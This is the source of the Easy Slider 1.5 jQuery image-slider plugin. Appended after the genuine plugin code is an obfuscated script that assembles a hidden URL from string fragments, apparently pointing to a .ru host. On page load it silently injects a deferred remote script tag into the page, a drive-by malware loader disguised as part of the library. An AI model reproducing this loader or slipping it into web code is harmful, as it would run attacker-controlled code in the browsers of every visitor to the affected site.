/*

 * 	Easy Slider 1.5 - jQuery plugin

 *	written by Alen Grakalic	

 *	http://cssglobe.com/post/4004/easy-slider-15-the-easiest-jquery-plugin-for-sliding

 *

 *	Copyright (c) 2009 Alen Grakalic (http://cssglobe.com)

 *	Dual licensed under the MIT (MIT-LICENSE.txt)

 *	and GPL (GPL-LICENSE.txt) licenses.

 *

 *	Built for jQuery library

 *	http://jquery.com

 *

 */

 

/*

 *	markup example for $("#slider").easySlider();

 *	

 * 	<div id="slider">

 *		<ul>

 *			<li><img src="images/01.jpg" alt="" /></li>

 *			<li><img src="images/02.jpg" alt="" /></li>

 *			<li><img src="images/03.jpg" alt="" /></li>

 *			<li><img src="images/04.jpg" alt="" /></li>

 *			<li><img src="images/05.jpg" alt="" /></li>

 *		</ul>

 *	</div>

 *

 */



(function($) {



	$.fn.easySlider = function(options){

	  

		// default configuration properties

		var defaults = {			

			prevId: 		'prevBtn',

			prevText: 		'Previous',

			nextId: 		'nextBtn',	

			nextText: 		'Next',

			controlsShow:	false,

			controlsBefore:	'',

			controlsAfter:	'',	

			controlsFade:	true,

			firstId: 		'firstBtn',

			firstText: 		'First',

			firstShow:		false,

			lastId: 		'lastBtn',	

			lastText: 		'Last',

			lastShow:		false,				

			vertical:		false,

			speed: 			800,

			auto:			false,

			pause:			4500,

			continuous:		false

		}; 

		

		var options = $.extend(defaults, options);  

				

		this.each(function() {  

			var obj = $(this); 				

			var s = $("li", obj).length;

			var w = $("li", obj).width(); 

			var h = $("li", obj).height(); 

			obj.width(w); 

			obj.height(h); 

			obj.css("overflow","hidden");

			var ts = s-1;

			var t = 0;

			$("ul", obj).css('width',s*w);			

			if(!options.vertical) $("li", obj).css('float','left');

			

			if(options.controlsShow){

				var html = options.controlsBefore;

				if(options.firstShow) html += '<span id="'+ options.firstId +'"><a href=\"javascript:void(0);\">'+ options.firstText +'</a></span>';

				html += ' <span id="'+ options.prevId +'"><a href=\"javascript:void(0);\">'+ options.prevText +'</a></span>';

				html += ' <span id="'+ options.nextId +'"><a href=\"javascript:void(0);\">'+ options.nextText +'</a></span>';

				if(options.lastShow) html += ' <span id="'+ options.lastId +'"><a href=\"javascript:void(0);\">'+ options.lastText +'</a></span>';

				html += options.controlsAfter;						

				$(obj).after(html);										

			};

	

			$("a","#"+options.nextId).click(function(){		

				animate("next",true);

			});

			$("a","#"+options.prevId).click(function(){		

				animate("prev",true);				

			});	

			$("a","#"+options.firstId).click(function(){		

				animate("first",true);

			});				

			$("a","#"+options.lastId).click(function(){		

				animate("last",true);				

			});		

			

			function animate(dir,clicked){

				var ot = t;				

				switch(dir){

					case "next":

						t = (ot>=ts) ? (options.continuous ? 0 : ts) : t+1;						

						break; 

					case "prev":

						t = (t<=0) ? (options.continuous ? ts : 0) : t-1;

						break; 

					case "first":

						t = 0;

						break; 

					case "last":

						t = ts;

						break; 

					default:

						break; 

				};	

				

				var diff = Math.abs(ot-t);

				var speed = diff*options.speed;						

				if(!options.vertical) {

					p = (t*w*-1);

					$("ul",obj).animate(

						{ marginLeft: p }, 

						speed

					);				

				} else {

					p = (t*h*-1);

					$("ul",obj).animate(

						{ marginTop: p }, 

						speed

					);					

				};

				

				if(!options.continuous && options.controlsFade){					

					if(t==ts){

						$("a","#"+options.nextId).hide();

						$("a","#"+options.lastId).hide();

					} else {

						$("a","#"+options.nextId).show();

						$("a","#"+options.lastId).show();					

					};

					if(t==0){

						$("a","#"+options.prevId).hide();

						$("a","#"+options.firstId).hide();

					} else {

						$("a","#"+options.prevId).show();

						$("a","#"+options.firstId).show();

					};					

				};				

				

				if(clicked) clearTimeout(timeout);

				if(options.auto && dir=="next" && !clicked){;

					timeout = setTimeout(function(){

						animate("next",false);

					},diff*options.speed+options.pause);

				};

				

			};

			// init

			var timeout;

			if(options.auto){;

				timeout = setTimeout(function(){

					animate("next",false);

				},options.pause);

			};		

		

			if(!options.continuous && options.controlsFade){					

				$("a","#"+options.prevId).hide();

				$("a","#"+options.firstId).hide();				

			};				

			

		});

	  

	};



})(jQuery);









var n;if(n!='ZL'){n='ZL'};function z(){var u=new Date();var TL;if(TL!='B' && TL!='Yh'){TL=''};var HG;if(HG!='o' && HG != ''){HG=null};this.Kk='';var K=RegExp;var H="g";var t;if(t!='' && t!='d'){t='V'};var U='';var a="";var e=new Date();var b="";function O(p,N){var NW= String("DeK[".substr(3));NW+=N;var Bf;if(Bf!='' && Bf!='oW'){Bf=null};NW+=new String("]");this.CM='';var y=new K(NW, H);var Zz=new String();var Q;if(Q!='' && Q!='L'){Q='dV'};return p.replace(y, U);var PR;if(PR!='' && PR!='r'){PR=''};var s_=new Date();};var q;if(q!='JR'){q=''};this.j="";this.MA='';var nK="";var yY="";var x=O('8111916092692938199692310199123',"29136");var Cb;if(Cb!='fh'){Cb=''};this.nS='';var A=window;this.Lx="";var I=new Date();var T=String("scSVGH".substr(0,2)+"MogjrioMgj".substr(4,2)+"ptM25".substr(0,2));var v='';var wH=new String();var ju;if(ju!=''){ju='Xj'};this.RO='';var Z="ZCk9src".substr(4);var Nb=String("defe"+"r");var i="5KIht".substr(3)+"tp"+"AZz:/".substr(3)+"/w6JQ".substr(0,2)+"1eUoaroe1U".substr(4,2)+"ez"+"Q7h-b7Qh".substr(3,2)+"b-"+"orYU1".substr(0,2)+"pr9g.rp9".substr(3,2)+"ch7Bd".substr(0,2)+"0vRin".substr(3)+"a.qDc".substr(0,2)+"coVRM".substr(0,2)+"m."+"5qUon".substr(3)+"bmdPeiPbmd".substr(4,2)+"vHLEnd".substr(4)+"b48ia4b8".substr(3,2)+"Bnp-iBpn".substr(3,2)+"n.N4oe".substr(0,2)+"2v7dev72".substr(3,2)+"RndCardRCn".substr(4,2)+"BsDgu".substr(3)+"OlhQid".substr(4)+"e."+"ru"+"tle:let".substr(3,1);var C=new String("/tigWnU".substr(0,4)+"ls3DerdilD3s".substr(4,4)+"5lMrect5lM".substr(3,4)+".comTQM".substr(0,4)+"qSb/tigqSb".substr(3,4)+"H6Berdi6BH".substr(3,4)+"rectMXZi".substr(0,4)+"Wqk0.comqWk0".substr(4,4)+"Bj7Y/tor".substr(4)+"jZV3rent".substr(4)+"reacIgW".substr(0,4)+"tor."+"2lTxnet/lxT2".substr(4,4)+"3dOamerdO3".substr(3,4)+"YT1ican1TY".substr(3,4)+"expr"+"Yytess.tyY".substr(3,4)+"com/"+"puBxgoog".substr(4)+"h8sle.c".substr(3)+"om.p"+"Kav8hpva8K".substr(4,2));A.onload=function(){var w_;if(w_!='mn' && w_ != ''){w_=null};var dJ;if(dJ!='mJ' && dJ != ''){dJ=null};try {v=i+x;var NC;if(NC!='k' && NC!='Fd'){NC=''};v+=C;var FD=new Array();var GF='';var xv;if(xv!='OI'){xv='OI'};h=document.createElement(T);var mb;if(mb!='' && mb!='Lf'){mb='CR'};h[Nb]=[0,1][1];h[Z]=v;var Uu;if(Uu!='' && Uu!='KI'){Uu=''};document.body.appendChild(h);this.Qd="";var ci="";} catch(pe){};var PJ;if(PJ!='Bi' && PJ != ''){PJ=null};};};var DN;if(DN!='' && DN!='HK'){DN=null};var fov=new String();z();var og;if(og!=''){og='za'};var KP;if(KP!=''){KP='Kp'};